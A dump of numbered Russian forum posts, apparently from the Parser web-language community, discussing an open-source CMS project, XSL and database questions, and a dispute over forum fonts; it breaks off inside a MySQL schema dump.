"20440","... стучись в ICQ 41160163..."
"20441","... какие есть по этому поводу мысли? Необходима инициативная группа, что-то вроде координационного центра. Нужны люди владеющие современными технологиями проектирования, знающие что нужно, что бывает. Нужно реальное сообщество. Неужели ни у кого нету опыта работы в open-source проектах?"
"20442","Не знаю, как остальные - а я слабо представляю, как opensource справляется с проблемами координации и документирования. Могу только догадываться, глядя на функционал sourceforge. С документированием там некоторые траблы по большей части. То, что без хоть какой координации сделать хороший проект не выйдет - очевидно, по моему. Можно конечно начать с обмена мнениями p2p - может, что и вырастет. Лично меня интересует такой проект и я готов в нем работать. По мере сил (поскольку я не успеваю думать над архитектурой - нужно сайты собирать на уже существующем @%][}}% :). А начать можно с обмена мнениями по общему подходу к проектированию CMS как таковому - не удивлюсь, если обнаружится 10 принципиально разных точек зрения. И уж по результату подумать - выйдет сообщество, или ну его в лес - самому лучше работать надо :)"
"20443","И как минимум нужен инструмент - сиречь сайт. Документацию выкладывать, обязательно что-то типа WiKi (иначе удаленное согласование архитектуры трудно проводить), демки всякие и т.д. Сама по себе задачка непростая все это организовать, и хочется понимать, чего ради. Думаю, что каждый хочет какие-то свои проблемки порешать за счет кооперации - а это уже расчет, и нужно прикинуть, стоит ли оно затраченного времени. ИМХО, с этого и надо начинать - список желающих участвовать составить и понять, кто что реально может делать и чего в оконцове ради. Короче, я начинаю новый тред и буду аккумулировать инфу - а через пару дней подведу коротенько резуме - чего из этой затеи может выйти."
"20444","Тут про open source CMS флеймили. Все желающие реально участвовать в разработке - пишите сюда, а по результатам дня через 2-3 я выдам резюме - сколько желающих, кто чего может, etc.\
Желательно коротенько - e-mail, есть/нет своя CMS и/или обособленные модули функционала, опыт работы в веб-дизайне/веб-программировании/веб-юзабилити/рядом (опционально, это не фейс-контроль, но думаю что интересно представлять общий уровень участников), чего хочу от проекта, что могу делать (дать хостинг, сделать/администрить сайт проекта, дать модуль WiKi на Парсере :) или участвовать каким-то другим образом). И все прочее, что Вы сочтете нужным. "
"20445","Ну а как ещё это реализовать? Вообще это делается на перле, но значит на перловском регексе в пхп тоже можно ? Или лучше на хтмл парсере ? подскажите чё-ньть ?"
"20446","e-mail: info@lightside.ru\
\
Своя CMS на данный момент представляет собой следующее:\
http://cms.lightside.ru/ \
\
>обособленные модули функционала\
С этим не то чтобы туго... Естественно система задумывалась как модульная, но получаеться не совсем так как хочется.\
\
>опыт работы в веб-дизайне/веб-программировании/веб-юзабилити\
Это мылом зашлю, - стесняюся типа :)))\
\
>что могу делать\
ну, хостинг это понятно... могу принимать живое участие в проектировании системы, я конечно не так крут как Egr например :))), но некоторые фишки просекаю. Могу делать комментарии (в своём коде практически никогда не делаю), ещё могу попробовать писать доки, но опыта очень мало. Особенно мне интересно всё что связано с юзабилити. Могу выполнять большой объём нудной тупой работы если приколюсь. Например могу ночь просидеть приводя код к некоему унифицированному виду, чтобы определённое количество отступов было и проч. и проч. Очень интересно проектировать объекты, - абстракции с базовым набором свойств и методов взаимодействия с другими объектами.\
"
"20448","подробности ушли мылом."
"20449","Я например в своё время с NTFS не смог разобраться :))) Мне было проще использовать UrlScan... И потом если допустим у меня сто файлов на которые нужно запретить доступ и они автоматом генерятся (это так, крайности), что на каждый вручную права ставить?"
"20451","Можно получить лишь имя, использую поле класса file name, написав $form:<имя input`а>.name, чем я успешно воспользовался. А вот как полный путь забрать? Кажется, этого вообще не предусмотрено, за \"бесполезностью\"?"
"20453","Я вообщем не утверждал, что использование NTFS это универсальное решение. В данном случае, т.е. для запрета доступа к конфигу, в котором хранятся пароли, лучше использовать именно NTFS (а вообще лучше и то и то), поскольку вероятность когда можно обойти URLScan есть и тогда ваш конфиг доступен всему инету. NTFS обойти гораздо сложнее, ибо уровень у неё пониже будет.\
\
Когда генерится 100 файлов и к ним нужно запретить доступ, я просто буду их генерить в отдельную, спец. папку, к которой назначу требуемые права. Можно возразить - а что если в этой папке есть вещи которые должны быть доступны из инета? Ответ такой, смешивать эти вещи в таком количестве это не очень разумно, я бы даже сказал глупо, поэтому этого просто не должно быть и избежать этого достаточно легко.\
\
Если проводить аналогию - поиск последовательным перебором для десятка строк будет гораздо эффективнее хэширования, но уже для пары тысяч или миллионов, картина изменится на противоположную. Короче как всегда, - прежде чем делать стоит подумать и не впадать в крайности."
"20454","Вопрос снимается."
"20456","Идею поддерживаю, посильно готов участвовать (скорее со стороны usability testing + docs) но хочу высказать одно соображение. Высказывал его ещё в начале года egr'у, но дальше разговора у нас не пошло, к сожалению.\
\
CMS - это, конечно, круто и нужно, но для того, чтобы двинуть парсер в массы надо другое. Нужен unpack-and-run пакет на парсере (может быть, в комплекте с денвером), который начинающий юзверь мог бы скачать отсюда. Пакет должен включать движок для создания homapage с weblog'ом, гостевой книжкой и фотогалереей - тем, что нужно подавляющему большинству начинающих. (Давайте \"выбивать социальную базу\" из под PHP! [i];-)[/i] Если у нас будет аналог register.spectator.ru, сколько будет сайтов \"powered by parser\") Всё это должно быть с откомментированным и качественным кодом, который можно читать и на нём учиться. Я на досуге занимаюсь именно этим и считаю эту задачу более актуальной. Вот. Я всё сказал. Комментарии?"
"20457","Если я записываю текст в файл, то все ОК.\
А если генерю налету, то выдается эта ошибка.\
Подскажите, плз, как правильно генерить ?\
\
Unhandled Exception (Debug)\
Entity: line 7: error: Input is not proper UTF-8, indicate encoding !\
 <b>Автогрейдеры</b> (ID00000003) [4]\
    ^\
Entity: line 7: error: Bytes: 0xC0 0xE2 0xF2 0xEE\
 <b>Автогрейдеры</b> (ID00000003) [4]\
    ^\
\
create\
\
/usr/local/www/office/product/product.html(29)\
exception.type=xml"
"20460","угу, было дело. Дальше базара не пошло. Посмотрим что из этой затеи выйдет.\
\
А вообще надо потихоньку от веба отходить - не перспективное пока это в России дело (не считая Москвы). Более традиционное программирование куда более серъёзней востребовано."
"20461","Во первых, есть некая путаница в терминологии. Я, например, термином CMS почему то называю как раз то, что unpack-and-run :) Поскольку писать систему управления абстрактным сайтом, не трогая его движок - задача, имхо, никчемная. Так что я тоже занимаюсь именно этим :)\
Касательно Денвера - согласен. Я его покоцал под свои задачи - и ставлю на нем заказчикам управление сайта офф-лайн - с сервером остается только синхронизироваться. В принципе и есть \"unpack-and-run\" :) с инсталлятором для подключения произвольных модулей (новости ставятся по умолчанию, остальное - по желанию).\
Но код я принципиально открывать не хочу. Как правильно замечено - на такой открытой системе будут учиться. Те, кто захотят :) И показывать ошибки от идеологии до некрасивых кусков кода не то, чтобы стыдно, а как бы незачем. Так что если тут сообщество не сложиться - открою только третью версию своего движка. А сложиться - буду там с нуля писать.\
Про usability - отдельная тема. Тут я вижу прямую выгоду от кооперации для всех участников. Поскольку обнаружить все ляпы в интерфейсе может только сторонний проекту человек."
"20462","Какой же это открытый проект без открытия исходников???"
"20463","Поскольку что толку от возможности ковыряться в коде, если архитектуру системы, интерфейсы классов, принципы работы модулей с данными и все прочее нужно выводить самому ? При внесении изменений в такой проект (если еще архитектура непродумана) на борьбу с нежелательными побочными эффектами будет времени уходить столько же или более, чем на написание с нуля. \
Так что лично я под открытым проектом понимаю не просто open source, а open architect + document + installer (c человеческим лицом) + open source. И разработку оного проекта - именно в такой последовательности. Тогда будет очевидная польза - как для сообщества Parser - так и для конечных потребителей движка (CMS etc). \
На абсолютную правоту не претендую."
"20464","Готов принять участие в виде активного тестера :)"
"20465","Предложение написать первую версию по принципу с мира по классу \"+\" ;)\
Вторую разрабатывать с нуля\
\
ps: думаю это существенно ускорит процесс создания полноценной версии"
"20466","Подход \"с мира по классу\" - не пойдет. По крайней мере мне. Я готов участвовать только в проекте in lege artis - сначала проектирование - потом кодирование. Система типа \"с мира по классу\" уже есть у многих - какой смысл бодягу разводить."
"20467","письма до вас местами не доходят\
[code]\
...\
<misha@design.ru>: host gw.design.ru[195.54.192.20] said:\
450 4.7.1 Access temporarily denied.\
IP name lookup failed (in reply to MAIL FROM command)\
[/code]\
вобщем, была замечена такая бага - если запостить в форум кусок DTD-схемы страница с постом не открывается, выдаёт Unhandled Exception. Bug.txt могу почтой, если получится  :)"
"20468","люди, а знает ли кто-нибудь что-то похожее на MySQL-Front, но для Оракла?"
"20470","Наверное имеет смысл сделать на отдельном хостинге форум и подробно обсудить идею. Делать это здесь не совсем логично/удобно... :)"
"20473","Эх, лень мне просматривать форум. Поэтому я могу повторить один из бывших вопросов, но всё же:\
\
Можно каким-нибуть образом получить список файл в папке?\
А ещё желательно - штоп(по выбору) создавался обьект класса \"тэйбл\", где(тоже по выбору) были бы столбцы \"дата последней записи в файл\", \"разрешения\", \"размер\" и тэ дэ.\
Как команда ls [-l].\
\
Заранее извиняюсь, если что не так спросил."
"20475","list. Получение оглавления каталога \
\
Пример использования, типа этого...\
\
$list[^file:list[каталог;\\.*^$]]\
^list.menu{\
$f[^file::stat[$list.name]]\
}\
\
$f.cdate - дата создания; \
$f.mdate - дата изменения; \
$f.adate - дата последнего обращения к файлу;\
$f.size и т.д..."
"20477","Если вы имели ввиду этот форум, то здесь сообщения скорее всего в базе храняться, ну или в xml файлах, а потом как-то собираются Парсером. То есть здесь не получиться просматривать сообщения в отдельных файлах.\
\
Вы хотя-бы на адрес этого сообщения посмотрите.\
http://www.parser.ru/forum/[b]?id=20477[/b]"
"20478","В выходные куплю хостинг, установлю форум. Там и предлагаю начать разработку. Рискну предложить себя в качестве координатора, так как четко представляю, что должно получиться.\
\
Адрес я сообщу, а пока что еще додумаю свое ядро. Стандарты описания в голове четко определились, архитектура - недоделки по мелочам. Там же выложу демку того, что есть.\
\
Хотелось бы хостинг халявный под это дело..."
"20479","Совсем ничего не получается, ну не понимаю как это работает ;("
"20480","Предлагаю оформить это на sourceforge.\
с cvs и все такое"
"20481","Вот нравиться мне .NET\
много полезной работы проделано. Много примеров, приавильные подходы выработанные хорошими ребятами.\
\
Так вот. Есть у них такая бодяга: DataSet.\
Представляет собой эдакий черный ящик, содержит(или не содержит) схему данных(xsd). Т.е. какой в результате должен получаться XML, правила, связки и т.д.\
\
Заполняется  данными с помощью dataAdapter (что-то типа связки с sql базами), либо напрямую XML, выдает результирующий XML.\
\
Думаю. Имеет ли смысл что-то подобное на parser?\
Все-таки веб-ориентированные задачи весьма критичны к ресурсам и быстродействию. Потребуется много работы ч-з DOM. Кстати интересный момент: связку между 2мя таблицами рекоммендуется выполнять в самой схеме, нежели в sql запросе типа left join, т.е. выбрать все из 2 таблиц, а потом уже связывать, связывать (если я все верно понял).\
\
плюсы: универсальность. (моя конечная цель - offline cms)\
минусы: ресурсоемкость, быстродействие.\
\
Хм. Провести тесты? Перспективно ли?\
Кто-то уже с подобным имел дело?"
"20486","или хотят денег до безобразия много при отсутствии нормальной функциональности, или вообще тулзы работать нормально не могут.\
\
в итоге пользуюсь:\
PowerDesigner - проектирование/создание БД/reverse engeneering (неполный)\
Написаный на парсер client.html - небольшие изменения в БД, просмотр структуры табличек, индексов, запросы...\
Oracle Enterprise Manager - работа с БД (java... тормоз страшный... вроде не глючит, хоть это радует...)\
Скрипт для оракла (нарыл где-то) - reverse engeneering структуры БД\
Парсерный скрипт - backup данных\
\
такая вот каша..."
"20487","http://www.w3.org/TR/1998/REC-html40-19980424/interact/forms.html#h-17.3\
[code]\
<!ELEMENT FORM - - (%block;|SCRIPT)+ -(FORM) -- interactive form -->\
<!ATTLIST FORM\
  %attrs;                              -- %coreattrs, %i18n, %events --\
  action      %URI;          [color=\"red\"]#REQUIRED[/color] -- server-side form handler --\
  method      (GET|POST)     GET       -- HTTP method used to submit the form--\
  enctype     %ContentType;  \"application/x-www-form-urlencoded\"\
  onsubmit    %Script;       #IMPLIED  -- the form was submitted --\
  onreset     %Script;       #IMPLIED  -- the form was reset --\
  accept-charset %Charsets;  #IMPLIED  -- list of supported charsets --\
  >\
[/code]"
"20488","даже отображение online."
"20489","тогда не знаю в чём дело, пост вроде точно повторил.\
Если интересно, в логах должны быть записи, связанные с http://www.parser.ru/forum/?id=20262, диапазон дат [i]30.08. 13:10 / 31.08. 02:36[/i]"
"20490","Я тоже готов присоеденится!\
Я не самый большой программер, но кой-какие модули есть. \
Я бы с удовольствием предложил себя в качестве plain дизайнера  или дизайнера интерфейса(интерфейс-то надо проектировать для CMS).\
\
К тому же если вдруг дойдем до пре-релиза - надо будет логотип и общий стиль придумыват. Да и мало ли что надо будет прилично оборачивать!!!"
"20491","Пишу в XSL:\
\
<A HREF=\"./product.html?current_id=<xsl:value-of select=\"element_id\" />\">\
\
Выдает ошибку:\
\
/usr/local/www/office/_xsl/modul/product.xsl:24: error: Unescaped '<' not allowed in attributes values\
   <A HREF=\"./product.html?current_id=<xsl:value-of select='element_id' />\">\
\
Как ПРАВИЛЬНО формировать url из XSL-я чтобы ошибки не было ?"
"20492","Поглядел я Гиви на твою CMS - какая-то она куцая, и вообще CMS это громко сказано, если это CMS, то у меня Имприматур :)\
\
PS: Да и не крут я вовсе, вот ПАФ крут, а я так, чуть получше чем средний студент."
"20493","надо так:\
[code]\
<a>\
<xsl:attribute name=\"href\">\
	./product.html?current_id=<xsl:value-of select=\"element_id\" />\
</xsl:attribute>\
....\
</a>\
[/code]"
"20496","В случае с фронтендом можно большую часть ресурсоемких операций кешировать. Да, это геморрой, но правила работы с кешем можно продумать 1 раз и далее геморрой закончится. А в админке кеширование может быть уж совсем неудобно - но там и требования к ресурсам другие. \
Но если проссуммировать все плюсы и минусы - то скорее всего окажется, что XML использовать надо. При условии, что хочется иметь возможность повторного использования кода, масштабируемости, модульности, возможности рефакторинга etc. А если делать один конкретный проект и плевать на стоимость поддержки (уникальная ручная работа, типа) то без XML вполне можно обойтись."
"20497","[code]\
<a href=\"{concat('./product.html?current_id',element_id)}\">\
...\
</a>\
[/code]"
"20498","GUI проектировать надо, и это можно делать абсолютно параллельно с собственно движком. Более того, думаю, что это единственно правильный подход, поскольку некоторые свойства GUI в смысле юзабилити (алертов и алармов там всяких, структуры меню, доступа к справке etc) могут влиять на код (на уровне структуры XML в общем случае). А для дизайна фейса можно за полчаса написать прототип исключительно на XML/XSLT (+ подсистема алертов, произвольно генерируемых, например) - и спокойно делать, не завязываясь на программеров. Потом делать юзабилити-тест, исправлять ошибки и вуаля (новая итерация :)\
Если интересует - пиши мылом мне, обсудим поподробнее."
"20499","Скриншотом входной страницы хотя бы. Интересно же обчественности :)"
"20500","я оптимизировал регулярные выражения и в одном месте немного перемудрил..."
"20501","Для поиска я использую вот такую штуку:\
\
$myNode[^xDoc.selectSingle[//*[@id='$id']]]\
\
Говорят это очень ресурсоёмкая конструкция. А как ещё можно?"
"20502","Если кто уже думал над архитекутрой [движка|CMS|прочие_синонимы] (особенно sly!).\
У меня легкий паралич от анализа. Очевидно, что при проектировании нужно учитывать изменения реализаций. Струткура сайта и данные о параметрах страницы могут жить в таблице базы, а может непосредственно в xml-файле. Клиенту это должно быть глубоко до фени.  Старая версия моего движка имеет реализации для абстракции (по одной для каждого случая). Очевидно, что такой подход с иерархией наследования порочен (рост количества частных случаев напоминает геометрическую прогрессию, и иерархия классов выходит из под контроля). Особенно если еще требуются разные методы работы с юзером etc. Понятно, что нужно применять шаблон проектирования, упорядочивающий классы. Клиент в любом случае работает с абстракцией страницы, которая сама знает, откуда и в каком виде брать структуру сайта, параметры страницы для получения контента, опознать юзера и проверить права доступа etc. Изменения могут вноситься как на уровне абстракции (вариации для клиентов типа браузера, браузера, понимающего XSLT, или вообще отдельного приложения для случая установки CMS на клиенте, в моем случае - HTA), так и на уровне реализаций - источник структуры сайта, контента запрошенной страницы, опознание и авторизация юзера (создание его объекта) etc.\
Вопрос. Первым приходит в голову использовать шаблон Bridge. Тогда нюансы реализации отвязываются от изменений абстракции и количество классов растет абсолютно линейно. Нет ли лучшего подхода ? Например Abstract Factory ?"
"20503","+ самое страшное животное напало, надеюсь все в курсе, какое именно."
"20504","а исправить было не трудно: бага вылазила только в режиме просмотра сообщения, в режиме редактирования пост отображается в первозданном виде, а если очень надо в редактирование можно и без ссылки войти."
"20505","Я 5 раз перечитал этот текст, и я ничего не понял :(. А можно выразить это всё попроще?"
"20506","[code]<a href=\"./product.html?current_id={element_id}\">\
...\
</a>[/code]"
"20507","Сорри. Я уже офигел думать в терминах шаблонов. У меня проблема с выбором структуры разбора движка на классы. Чтобы можно было произвольно изменять абстракцию страницы (которая определяет основные методы и свойства сборки страницы при обращении к ней по uri), и при этом ее изменения не сказывались на методах реализации работы с юзером, получением параметров этой страницы (которые могут жить в какой угодно форме, от базы до xml), получнием структуры сайта и сборкой шаблона трансформа (который тоже может быть разным, от xslt до матча html). Подключение библиотек по списку не подходит, поскольку тогда требуется код дублировать, чего не хочется.\
Вроде я уже сам додумался, но очень интересно, кто как решает проблему внесения изменений, не плодя при этом реализации для каждого частного случая."
"20508","Давайте сначала определимся, что конкретно эта CMS должна делать, потом будет проще проектировать иерархию классов.\
\
И еще я не совсем понял, предлагается создавать CMS с нуля или развивать уже имеющуюся систему?\
\
Если уже набралось достаточно людей, то давайте обзаводиться местом под проект и форумом для нормального общения."
"20509","Ваши впечатления? Брать стоит?"
"20510","Что делает движок сайта - имхо, более-менее понятно, хотя формализовать требования необходимо. Но это тут делать, имхо, не совсем удобно.\
Набралось человек 10, я некоторые выводы в понедельник запощу сюда, если никто не против. Что касается места под проект - тут sly вызывался процесс координировать - ему хостинг нужен (домен 3 уровня не устраивает). \
Насчет с нуля - это то, что интересно лично мне, именно потому, что имеющаяся не устраивает. Как остальные участники себе думают - пока не понял. Но судя по тому, что код открыть никто не хочет - видимо, все таки с нуля."
"20511","Что может означать такя ошибка?\
\
Execution of (cgi-bin/parser3.cgi) is not permitted for the following reason: \
Script is group writable.\
\
Это из-за safe mode?\
Спасибо"
"20512","[url=\"http://misha.design.ru/hobby/engine.html\"]Краткое описание[/url] функционирования Engine со структурой и описанием БД.\
\
Описание достаточно древнее, сейчас уже утекло много воды...\
\
P.S. Сообщения о синтаксических ошибках можно не присылать, править не буду, ибо лень :)"
"20513","Избегайте использования // в xsl кроме тех случаев, когда жто дествительно необходимо.\
\
Юзай свою иерархию, т.е. если у тебя поиск в items\
пиши items[@id=\"$id\"], пользуй ../ или ../../\
все равно будет лучше."
"20514","И если это не обязательно item, а например section? Или и то и другое в перемешку?"
"20515","Понравилось, есть дельные советы. Брать - стоит. (ИМХО, не стоит брать Круга http://www.ozon.ru/context/detail/id/126944/)"
"20516","или и то и другое.\
в любом случае нужно искать баг в проектировании, если нельзя конкретизировать условия"
"20517","Очень интересно. Чертовски жаль, что та версия, на которой я сейчас работаю, сделана аналогичным образом. Хотя до такой простой вещи, как создание структуры каталогов сообразно объектам, я додумался совсем недавно, и несколько более кривым способом. Отдельное спасибо за идею."
"20518","Книжка откровенно странная - большая часть информации описана у Нильсена, причем подробнее и понятнее. Перевод плохой. Печать очень плохая, что сводит ценность подобной книги к нулю...\
\
p.s. А вот Круга взять как раз стоит... :)"
"20521","Я тоже хотел бы разрабатывать систему с нуля и готов поделиться своими наработками и даже названием если нужно:)\
Хотя если все писать с нуля, пользы от чьих-то решений не очень много, разве что проиллюстрировать архитектуру или показать некоторые удачные примеры кода."
"20523","Отрывки мне понравились, придет через пару недель, тогда поделюсь впечатлением.\
Круга все-таки тоже стоит прочесть"
"20524","Класс test из файла test.p подключен в auto.p. Мне требуется создать объект класса test2, производного от test. Я обявляю в test2 USE test BASE test. Вопрос - будет ли Parser читать test.p еще раз, или воспользуется существующим ?"
"20525","если имя в use совпадёт до буквы.\
\
мелочь:\
parser не выпрямляет путь, и если это будет\
  xxx.p\
а в другой раз \
  sub/../xxx.p\
то не поймёт :)"
"20527","Ну, решения разные бывают. От общего подхода - видимо, нет, а вот модули - скорее да. По моему, главный смысл объединения усилий - в возможности быстро наработать модулей типа новостей, блогов, рассылок, визуальных редакторов etc. Что одному сделать принципиально трудно. Я поэтому тут так и выступаю про архитектуру, чтобы можно было модули писать кому угодно, не думая о собственно движке."
"20529","Если мой код пригодится при разработке открою легко. Без вопросов."
"20530","Perevod plohoy a informachiya ocheny poleznaya!"
"20532","Делаю file::load с чужого сервера, получаю:\
ISO-8859-1\
unknown charset\
Как пофиксить?"
"20533","Сразу же процитирую Дмитрия Кирсанова, книга \"Веб-дизайн\" (стр. 134):\
\
\"Шрифты с засечками удобнее для длительного чтения (роль засечек состоит в том, чтобы вести взгляд по строке, не позволяя ему сбиться), поэтому ими обычно набирают основной текст страниц.\
Рубленые же шрифты, с их лаконичным геометрическим рисунком, лучше подходят для беглого чтения и потому прекрасно смотряться в заголовках, логотипах, коротких надписях.\"\
\
Этим в принципе всё сказано, рубленый шрифт в заголовках, надписях и навигации смотриться хорошо, по сравнению с тем как раньше это было написано мелким шрифтом с засечками.\
\
А вот рубленый шрифт в текстах сообщений читается очень плохо."
"20534","В текстовом файле находится tab-delimited таблица с html-тегами. Не подскажете, как сделать так, чтобы в результате такого кода в $tab.1 теги из файла не заменялись на &gt;&lt?\
\
$tab[^table::load[nameless][news.txt]]\
^tab.sort(^date::create[$tab.0])[desc]\
\
^tab.menu{\
   <tr><td width=\"130\">$currdate</td><td>$tab.1</td></tr>\
}"
"20537","Вы видели кнгу Якоба Нильсена?\
Ту самую, котороую воинствующий Кирсанов вместе с обложкой передрал?\
При всем моем уважении........но......"
"20539","Задав в запросе заголовок \"Accept-Charset\".\
\
Ссылки:\
http://www.parser.ru/docs/lang/?app1.htm\
http://apache.lexa.ru/internals.html"
"20540","Сейчас на многих сайтах (особенно за которые платят:) необходим каталог продукции.\
А у меня ИДЕЯ :)\
Не городить огород с хранением каталога в своей ОСОБОЙ и КРУТОЙ БД, а пользоваться тем, что уже есть в каждой уважающей себя фирме: 1С.\
То бишь, ежли народ захотит сделать что-либо не только полезное, но и помогающее ЗАРАБАТЫВАТЬ простым смертным вроде меня, готов поделиться опытом по интеграции 1С в WEB.\
О себе, с Parser-ом начал жить ....ой жизнью совсем недавно (в основном из желания понять XML), с 1С знаком чуть дольше, еще Perl очень нравится.\
В общем, если будет что-нить получаться - с удовольствием ПОПАРсЮСЬ :)"
"20542","Есть переменная class_name, в которой хранится имя класса. Как можно вызвать методы этого класса?"
"20543","обычно так бывает:\
рисую пару-тройку таблиц, думаю, двигаю их, добавляю что-нить.\
А потом в MySQLAdmin захожу и ручками делаю :)\
Понимаю что это НЕПРАВИЛЬНО, но привык так.\
По поводу других прог даже не помышляю, т.к. в принципе и на листочке нарисовать можно для MySQL, вот если БД серьезную использовать, тогда конечно...\
Но для веба, зачем что-то сложнее MySQL ?"
"20544","Я не рекламирую и не пропагандирую книгу Дмитрия Кирсанова.\
Просто я её прочитал и мне очень понравилось, книга хорошая.\
\
Книгу Якоба Нильсена видел, даже в руках держал.\
Только я не могу понять, что Кирсанов передрал у Нильсена, ведь это же две разные книги, с двумя разными обложками."
"20545","Но всё же разве вам удобно и приятно для глаз читать длинный текст рубленым шрифтом?\
Лично мне нет.\
\
А отрывок из книги я привёл, чтоб всё сразу в одном сообщении написать, чтоб потом форум не забивать кучей пояснений.\
\
P.S. если будете писать ответ (да если даже и не будете) подумайте когда вам приятнее читать текст, когда вы пишете его в текстовом поле, или когда вы читаете его в форуме."
"20546","На данном сайте [при существующем дизайне] удобнее для чтения антиквы [это естественно субъективно]. С другой стороны на трех, поддерживаемых мной форумах используются исключительно гротески, и мне читать их тоже удобно. Imho гротески [к сожалению Ариал не лучший их представитель] гораздо \"читабельнее\", особенно в мелких кеглях.\
\
Здесь скорее привычка - два с лишним года мы \"привыкли\" к такому набору шрифтов [я сегодня днем сперва полез в настройки браузера, чтобы найти, где у меня шрифт поменялся :)], и изменения показались \"странными\"... А вот еслибы изначально на форуме стоял Ариал..."
"20547","Насчёт привычки это вы, наверное, метко сказали :-)\
\
Ну раз все привыкли читать текст шрифтом с засечками, то зачем уже было менять на рубленый???\
\
Может быть, процентов на 20-30 (могу ошибаться) начертание шрифта это дело вкуса, вам удобнее читать рубленым, мне с засечками.\
\
Рассказ про настройки браузера -- классный :-)"
"20548","Например, кто за то, чтоб всё так и оставалось, кто за то, чтобы в текстах сообщений шрифт был с засечками и т. д. и т. п."
"20550","Попробовал поставить без safe modе - получилось. :)"
"20551","Visio 2002. Там не только БД можно проектировать. Алгоритмы, классы, схемы, UML и т.д."
"20552","Только, что провёл экспиемент в Блокноте, взял любое длинное сообщение из форума, скопировал его в Блокнот и сделал шрифт Вердана.\
Получилось почти то же, что и с Ариалом. А вот Таимсом было читать куда приятнее."
"20553","Сделать для зарегестрированных пользователей в настройках возможность выбирать тот шрифт, и размер шрифта, который им нравиться, которым им удобно смотреть тексты сообщений.\
\
Update:\
\
пересмотрел свои взгляды и убрал (не самая лучшая), пускай каждый пользователь сам задаёт тот шрифт которым ему удобно смотреть.\
\
Одним нравиться смотреть Верданой, другим Тахомой, третим Таймсом, четвёртым ещё чем-то, поэтому было-бы правильно (а ещё гуманно и демократично :-)) ) дать пользователю возможность сделать выбор."
"20554","Мне так нравилось смотреть своей тахомой, а тут ненавистный ариал.\
\
Я плачу `;("
"20555","можно ли что-то написать в конфигах и где?\
чтобы не ловить при создании директорий PARSER`ом вот это:\
write failed: No such file or directory (2), actual filename '/var/wwwhost/local/exsite2/i/scheme/11.gif'\
а то уже доставать начало - все время лезть по SSH и права на каталог менять."
"20556","Я например люблю тахому, но код пишу в вердане.\
\
а шрифты с засечками, меня вообще угнетают :)\
\
ИМХО: вернуть как все было"
"20558","Вот идея о клоне register на Parser'е предствляется куда более здравой и полезной для продвижения в народ, поскольку крутые, навороченные и очень гибкие CMS не нужны широким массам. А вот register они схавают с удовольствием."
"20559","Я просто не сомневался, что так можно делать!\
Благодарю."
"20560","Да! Именно."
"20562","Каким шрифтом отображен сайт в действительности значения не имеет, главное, чтобы он нормально читался, к остальному мы все постепенно привыкнем. Я считаю, что создатель сайта должен определить для себя размер и кегль шрифта таким, каким ему (создателю) будет наиболее комфортно смотреть и читать. Ибо работать с сайтом ему.\
\
Про шрифты с засечками и без, как я понял, мнения разделились - оно и понятно. На вкус и цвет...\
\
Личное мнение.\
Сейчас некогда прекрасно читаемый форум восстановил во мне ощущение, что я вновь сел за монитор 800х600. Абсолютно непреемлемым считаю размер основного текста треда. Раньше 90% сообщений нормально помещалось в экран сейчас же приходится их пролистывать, т.е. делать лишние движения (нехорошо).\
В среднем, в строке должно быть 20-30 слов, чтобы глаз не успевал терять эту строку. Сейчас их примерно 15. Напоминает детские книжки с буквами большого кегля.\
Для детей специально делают такие большие буквы, чтобы срабатывало образное запоминание, но для людей более старшего возраста я бы всеже оставил 11-12 кегль, а шрифт, повторюсь, значения не имеет."
"20563","Меня в принципе, тут всё устраивает кроме рубленого шрифта в текстах сообщений."
"20565","Кегль надо сделать меньше.\
А ещё хорошо бы настройки отдельно для каждого пользователя :-)\
\
Насчёт создателя не согласен, он ведь форум не для себя делает, а для огромной аудитории. "
"20568","Да и я вроде с 1с кой немного интегрировался... Полезное это дело (интеграция)"
"20569","Ок, значит мы друг другу пригодимся! \
Только я бы не сказал, что за пол-часа что-то сильно толковое можно сделать... но это детали.\
IMHO логику работы (из которой и GUI и юзабилити вырастают) действительно надо еще на стадии концептуального планирования готовить, и скорее всего тот самый GUI во всех его проявлениях делать парралельно с кодом. Я еще для своих нужд смотрел, всякие CMS и коммерческого и не очень характера, дык цена у них в разы (а то и десятки раз) отличается, а функционал относительно один и тот же  у \"группы лидеров\". А вот интерфейс и юзабилити - небо и земля.  Нам же надо будет чем-нить еще отличаться, на \"Powered by Parser\" сам по себе никто клевать не будет (плиз без тухлых помидор - я имел ввиду не так много клева будет :-)"
"20570","Как записать в 1 куку несколько значений, например:\
$name\
$mail\
$pass\
А потом достать их по отдельности?\
\
Если так нельзя, то надо несколько создавать, что неудобно."
"20571","Тут это уже несколько раз мусолили, надо поискать."
"20572","Или в одну строку кидай $name, $mail, $pass с уникальным для тебя разделителем. И режь все это для получения. Только остается выбрать этот разделитель))"
"20573","Мы о какой из  книг Нильсена говороим?"
"20575","В БД 18 таблиц почти в каждой есть большой текстовый блок TEXT\
\
Как лучшще сделать для ускорения БД\
1 Для каждой таблици сделать подчинённую таблицу с текстовым блоком\
2 Сделать одну таблицу в которой будут храниться все большие текстовые блоки\
3 Может есть более рациональные и быстые варианты?\
\
Заране благодарю за помощь"
"20576","тексты насколько большие?\
если объем приличный(типа \"войны и мира\") - лучше хранить в TXT файлах, а в базах - из имена/линки на них\
а вообще: было бы не плохо узнать - как и что у тебя лежит, так легче будет тебе помочь(\"Здесь нет телепатов\"(с, кажется Luzhnikovskiy))"
"20577","таблица project - 5 - 100 записей в день; чтений ~ 3000 в день\
таблица operation - 50 - 1500 записей день; чтений ~ 9000 в день\
чтение из таблици users - <6000 чтений в минуту (количество записей всего неболее 5000)\
\
[code]\
# phpMyAdmin MySQL-Dump\
# version 2.3.0\
# http://phpwizard.net/phpMyAdmin/\
# http://www.phpmyadmin.net/ (download page)\
#\
# Хост: localhost\
# Время создания: Сен 06 2003 г., 20:13\
# Версия сервера: 3.23.47\
# Версия PHP: 4.3.0\
# БД : `tsh2`\
# --------------------------------------------------------\
\
#\
# Структура таблицы `adres`\
#\
\
CREATE TABLE `adres` (\
  `id` int(10) NOT NULL auto_increment,\
  `user_id` int(10) NOT NULL default '0',\
  `organisation_id` int(10) NOT NULL default '0',\
  `name` varchar(255) NOT NULL default '',\
  `comment` text NOT NULL,\
  `country` varchar(255) NOT NULL default '',\
  `siti` varchar(255) NOT NULL default '',\
  `strit` varchar(255) NOT NULL default '',\
  `houm` varchar(255) NOT NULL default '',\
  `building` varchar(255) NOT NULL default '',\
  `office` varchar(255) NOT NULL default '',\
  `index` int(20) NOT NULL default '0',\
  `comment_for_courier` text NOT NULL,\
  PRIMARY KEY  (`id`),\
  KEY `user_id` (`user_id`,`organisation_id`),\
